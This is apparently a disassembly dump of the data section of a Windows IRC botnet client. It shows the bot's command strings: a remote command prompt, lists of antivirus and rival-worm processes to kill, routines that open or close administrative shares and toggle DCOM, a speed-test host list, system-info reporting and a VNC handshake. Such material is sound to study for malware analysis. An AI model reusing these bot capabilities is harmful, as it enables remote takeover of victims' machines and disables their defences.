aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
; char aNetworkConnect[]
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_4199AC:loc_419A90o
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_4199AC+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_4199AC:loc_4199FBo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
align 10h
; char asc_43A1E0[]
asc_43A1E0 db '-' ; DATA XREF: sub_419AE0+ABo
db 3, 34h, 2
dd 274656Eh, 25202D03h, 34032073h, 76726553h, 3A037265h
dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h
; char asc_43A20C[]
asc_43A20C db '-' ; DATA XREF: sub_419AE0+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dword_43A234 dd 7530h ; DATA XREF: sub_419F4D+12r
off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset aSysinfo_exe ; "sysinfo.exe"
dd offset aMscvb32_exe ; "mscvb32.exe"
dd offset aMsblast_exe_0 ; "MSBLAST.exe"
dd offset aTeekids_exe ; "teekids.exe"
dd offset aPenis32_exe ; "Penis32.exe"
dd offset aBbeagle_exe ; "bbeagle.exe"
dd offset aSysmonxp_exe ; "SysMonXP.exe"
dd offset aWinupd_exe ; "winupd.exe"
dd offset aWinsys_exe ; "winsys.exe"
dd offset aSsate_exe ; "ssate.exe"
dd offset aRate_exe ; "rate.exe"
dd offset aD3dupdate_exe ; "d3dupdate.exe"
dd offset aIrun4_exe ; "irun4.exe"
dd offset aI11r54n4_exe ; "i11r54n4.exe"
aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: sub_419C09+ECo
; .data:0043A294o
align 4
aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:0043A290o
align 4
aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:0043A28Co
align 4
aRate_exe db 'rate.exe',0 ; DATA XREF: .data:0043A288o
align 10h
aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:0043A284o
align 4
aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:0043A280o
align 4
aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:0043A27Co
align 4
aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:0043A278o
align 4
aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:0043A274o
aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:0043A270o
aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .data:0043A26Co
aMsblast_exe_0 db 'MSBLAST.exe',0 ; DATA XREF: .data:0043A268o
aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:0043A264o
aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:0043A260o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:0043A25Co
align 10h
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:0043A258o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .data:0043A254o
align 4
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .data:0043A250o
align 4
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .data:0043A24Co
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: .data:0043A248o
align 10h
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .data:0043A244o
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .data:0043A240o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .data:0043A23Co
align 4
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .data:off_43A238o
; char aSD_0[]
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o
align 10h
; char asc_43A3F0[]
asc_43A3F0 db '-' ; DATA XREF: sub_419E38:loc_419EBFo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
; char asc_43A438[]
asc_43A438 db '-' ; DATA XREF: sub_419E38+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
; char aPrivmsgSS_1[]
aPrivmsgSS_1 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 10h
unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
; char asc_43A4F0[]
asc_43A4F0 db '-' ; DATA XREF: sub_41A1B1+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
; char asc_43A524[]
asc_43A524 db '-' ; DATA XREF: sub_41A1B1+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
off_43A548 dd offset aIpc ; DATA XREF: sub_41A3C6+1B3o
; sub_41A6EA+17Ao
; "IPC$"
align 10h
dd offset aAdmin_0 ; "ADMIN$"
align 8
off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o
dd offset dword_43A570
dd offset dword_43A56C
dd offset dword_43A568
dword_43A568 dd 5C3A44h ; DATA XREF: sub_41A3C6+217o
; .data:0043A564o
dword_43A56C dd 2444h ; DATA XREF: .data:0043A560o
dword_43A570 dd 5C3A43h ; DATA XREF: .data:0043A55Co
dword_43A574 dd 2443h ; DATA XREF: .data:off_43A558o
aAdmin_0 db 'ADMIN$',0 ; DATA XREF: .data:0043A550o
align 10h
aIpc db 'IPC$',0 ; DATA XREF: .data:off_43A548o
align 4
; char asc_43A588[]
asc_43A588 db '-' ; DATA XREF: sub_41A3C6+2E5o
; sub_41A6EA+2DBo
db 3, 34h, 2
dd 75636573h, 3026572h
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
; char asc_43A5B8[]
asc_43A5B8 db '-' ; DATA XREF: sub_41A3C6+2CFo
db 3, 34h, 2
dd 75636573h, 3026572h
aNetworkSharesD db '- Network shares deleted.',0
align 10h
; char asc_43A5E0[]
asc_43A5E0 db '-' ; DATA XREF: sub_41A3C6:loc_41A628o
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 10h
; char asc_43A630[]
asc_43A630 db '-' ; DATA XREF: sub_41A3C6:loc_41A595o
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 10h
; char asc_43A680[]
asc_43A680 db '-' ; DATA XREF: sub_41A3C6:loc_41A4F8o
; sub_41A6EA:loc_41A818o
db 3, 34h, 2
dd 75636573h, 3026572h
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
; char asc_43A6EC[]
asc_43A6EC db '-' ; DATA XREF: sub_41A3C6:loc_41A4D3o
db 3, 34h, 2
dd 75636573h, 3026572h
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 10h
dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
; sub_41A6EA+EDo
align 10h
; char asc_43A770[]
asc_43A770 db '-' ; DATA XREF: sub_41A3C6+91o
; sub_41A6EA+91o
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
; char asc_43A7A0[]
asc_43A7A0 db '-' ; DATA XREF: sub_41A3C6:loc_41A433o
db 3, 34h, 2
dd 75636573h, 3026572h, 4344202Dh, 64204D4Fh, 62617369h
dd 2E64656Ch, 0
dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o
; sub_41A6EA+54o
align 10h
; char asc_43A7F0[]
asc_43A7F0 db '-' ; DATA XREF: sub_41A6EA+2C3o
db 3, 34h, 2
dd 75636573h, 3026572h
aNetworkSharesA db '- Network shares added.',0
; char aC_0[]
aC_0 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o
align 4
; char aC_1[]
aC_1 db '%c$',0 ; DATA XREF: sub_41A6EA+219o
; char asc_43A820[]
asc_43A820 db '-' ; DATA XREF: sub_41A6EA:loc_41A889o
; sub_41A6EA:loc_41A95Ao
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o
; sub_41A6EA+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
; char asc_43A8A4[]
asc_43A8A4 db '-' ; DATA XREF: sub_41A6EA:loc_41A7F3o
db 3, 34h, 2
dd 75636573h, 3026572h
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
; char asc_43A91C[]
asc_43A91C db '-' ; DATA XREF: sub_41A6EA:loc_41A757o
db 3, 34h, 2
dd 75636573h, 3026572h, 4344202Dh, 65204D4Fh, 6C62616Eh
dd 2E6465h
dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
; char aPostHttp1_0Hos[]
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
; char asc_43A990[]
asc_43A990 db '-' ; DATA XREF: sub_41ABFB+1A7o
db 3, 34h, 2
dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h
dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h
dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah
dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h
dd 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o
align 10h
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo
align 10h
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
align 10h
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co
align 10h
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o
align 10h
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo
align 10h
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o
align 10h
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo
align 10h
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do
align 10h
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o
align 10h
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo
align 10h
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o
align 10h
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o
align 10h
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao
align 10h
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o
; char asc_43AB9C[]
asc_43AB9C db '-' ; DATA XREF: sub_41AF8F+297o
db 3, 34h, 2
dd 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41AF8F+192o
; char aCouldnTResolve[]
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
align 4
; char asc_43AC9C[]
asc_43AC9C db '-' ; DATA XREF: sub_41B243+A4o
db 3, 34h, 2
dd 6974656Eh, 26F666Eh, 2202D03h, 65707954h, 25203A02h
dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h
dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah
dd 2Eh
; char off_43ACE0[]
off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo
dword_43ACE4 dd 4E414Ch ; DATA XREF: sub_41B243:loc_41B2A5o
aDialUp db 'Dial-up',0 ; DATA XREF: sub_41B243+5Bo
; char aNotConnected[]
aNotConnected db 'Not connected',0 ; DATA XREF: sub_41B243+48o
align 10h
; char asc_43AD00[]
asc_43AD00 db '-' ; DATA XREF: sub_41B302:loc_41B4BBo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 10h
unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
; char asc_43AD5C[]
asc_43AD5C db '-' ; DATA XREF: sub_41B302+1A0o
db 3, 34h, 2
dd 69736976h, 2D030274h, 766E4920h, 64696C61h, 4C525520h
dd 2Eh
unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41B302+18Co
dd 64657469h, 2Eh
dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo
word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r
align 4
dword_43ADD8 dd 6325h ; DATA XREF: .text:0041B89Co
dword_43ADDC dd 0DFFh ; DATA XREF: .text:0041B6EAo
dword_43ADE0 dd 51FFh ; DATA XREF: .text:0041B6DFo
dword_43ADE4 dd 0EBFFh ; DATA XREF: .text:0041B6D4o
dword_43ADE8 dd 201h ; DATA XREF: .text:0041B6BFo
aRfb003_008 db 'RFB 003.008',0Ah,0 ; DATA XREF: .text:0041B6ADo
align 10h
dword_43AE00 dd 56AA9175h ; DATA XREF: sub_41C2B8+4w _randr ...
align 10h
dword_43AE10 dd 173Fh ; DATA XREF: _floor+Dr
dd 9875h, 9873h
off_43AE1C dd offset __fpmath ; DATA XREF: __cinitr
dd offset nullsub_2
dd offset nullsub_2
dword_43AE28 dd 1B3Fh ; DATA XREF: _ceil+Dr
dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: __NLG_Notify1+2o
; __NLG_Notify+2o
off_43AE40 dd offset __exit ; DATA XREF: __amsg_exit+1Cr
dword_43AE44 dd 2 ; DATA XREF: __FF_MSGBANNER+Er
; __NMSG_WRITE+46r ...
dd 10h, 0
off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do
; sub_41F216+69o ...
off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r
; sub_41F216+89w ...
dd offset dword_43AE68
dd offset dword_43AE68
dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r
; sub_41F35A:loc_41F3A7w
dd 0FFFFFFFFh
dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .data:0043AE58o
; .data:0043AE5Co
off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r
; sub_41F35A+20w ...
dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r
; sub_41BEF3:loc_41BF2Fr ...
off_43CE78 dd offset __wctype+2 ; DATA XREF: _atol+23r
; _atol:loc_41C12Fr ...
off_43CE7C dd offset __wctype+2 ; DATA XREF: _iswctype+18r
public __wctype
; const unsigned __int16 _wctype[]
__wctype dd 200000h ; DATA XREF: _x_ismbbtype+18r
; .data:off_43CE78o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
; size_t SrcSizeInBytes
SrcSizeInBytes dd 1 ; DATA XREF: _atol:loc_41C0D6r
; _atol:loc_41C11Ar ...
byte_43D088 db 2Eh ; DATA XREF: __input:loc_4210A4r
; __input+311r ...
align 4
dd 1
off_43D090 dd offset aNull ; DATA XREF: __output:loc_4202A3r
; __output+457r
; "(null)"
off_43D094 dd offset aNull_0 ; DATA XREF: __output+259r
; "(null)"
byte_43D098 db 1 ; DATA XREF: __setmbcp+E1r
db 2, 4, 8
align 10h
dword_43D0A0 dd 3A4h ; DATA XREF: __setmbcp+2Fo
dword_43D0A4 dd 82798260h ; DATA XREF: __setmbcp+11Dr
dd 21h, 0
dword_43D0B0 dd 0DFA6h ; DATA XREF: __setmbcp+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190 dd 1 ; DATA XREF: __setmbcp+3Co
; __dosmaperr+Co
dword_43D194 dd 16h ; DATA XREF: __dosmaperr:loc_420CB4r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
asc_43D2F8 db ' ',9,'-',0Dh,']',0 ; DATA XREF: __dosmaperr+19o
; __input:loc_421317o
align 10h
asc_43D300: ; DATA XREF: __input:loc_421207o
unicode 0, <]>,0
align 8
dword_43D308 dd 14h ; DATA XREF: __get_fname+2o
off_43D30C dd offset aExp ; DATA XREF: __get_fname:loc_421EE1r
; "exp"
dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch
dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
dd 23h, 4277B4h, 24h, 4277B0h
dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+B7r
; __handle_exc:loc_421CE6r ...
dd 0
dd 0FFF80000h
dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: __handle_exc+92r
; __handle_exc:loc_421CBEr ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Dr
; __set_statfp+1Fr
align 4
tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+31r
align 10h
off_43D420 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+Fw
; __output+3AAr
off_43D424 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+5w
; __output+3E2r
off_43D428 dd offset __fassign ; DATA XREF: __cfltcvt_init+14w
; __input+430r
off_43D42C dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+1Ew
; __output+3CBr
off_43D430 dd offset __positive ; DATA XREF: __cfltcvt_init+28w
off_43D434 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+32w
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
align 10h
dd offset sub_422DFC
off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r
dword_43D448 dd 0C0000005h ; DATA XREF: _xcptlookup+Ar
; _xcptlookup+11o ...
dword_43D44C dd 0Bh ; DATA XREF: _siglookup+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43D4C0 dd 3 ; DATA XREF: __XcptFilter+58r
; _raise+C8r
dword_43D4C4 dd 7 ; DATA XREF: __XcptFilter+5Er
; _raise+CDr
dword_43D4C8 dd 0Ah ; DATA XREF: _xcptlookup+4r
; _siglookup+4r
dword_43D4CC dd 8Ch ; DATA XREF: __XcptFilter+82r
; __XcptFilter+8Fw ...
dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: __filbuf:loc_41F964o
; __flsbuf:loc_41FEE7o
dword_43D4D8 dd 2 ; DATA XREF: __NMSG_WRITE+Eo
; __NMSG_WRITE+28r
off_43D4DC dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr
; __NMSG_WRITE+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h
dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
dd 0FFh, 427940h
off_43D568 dd offset dword_4DC020 ; DATA XREF: __NMSG_WRITE+1Bo
; ___initstdio+55o
align 10h
dd offset dword_4DC020
dd 101h
dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: ___initstdio+72o
dd 1000h, 0
dword_43D588 dd 3 dup(0) ; DATA XREF: __flsbuf+50o __stbuf+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8 dd 3 dup(0) ; DATA XREF: __flsbuf+58o
; __stbuf:loc_420D04o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8 dd 84h dup(0) ; DATA XREF: ___initstdio+9Bo
dword_43D7E8 dd 2 dup(0) ; DATA XREF: ___initstdio+69o
dword_43D7F0 dd 2694h ; DATA XREF: __handle_qnan1+3r
; __except1+46r
align 8
dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo
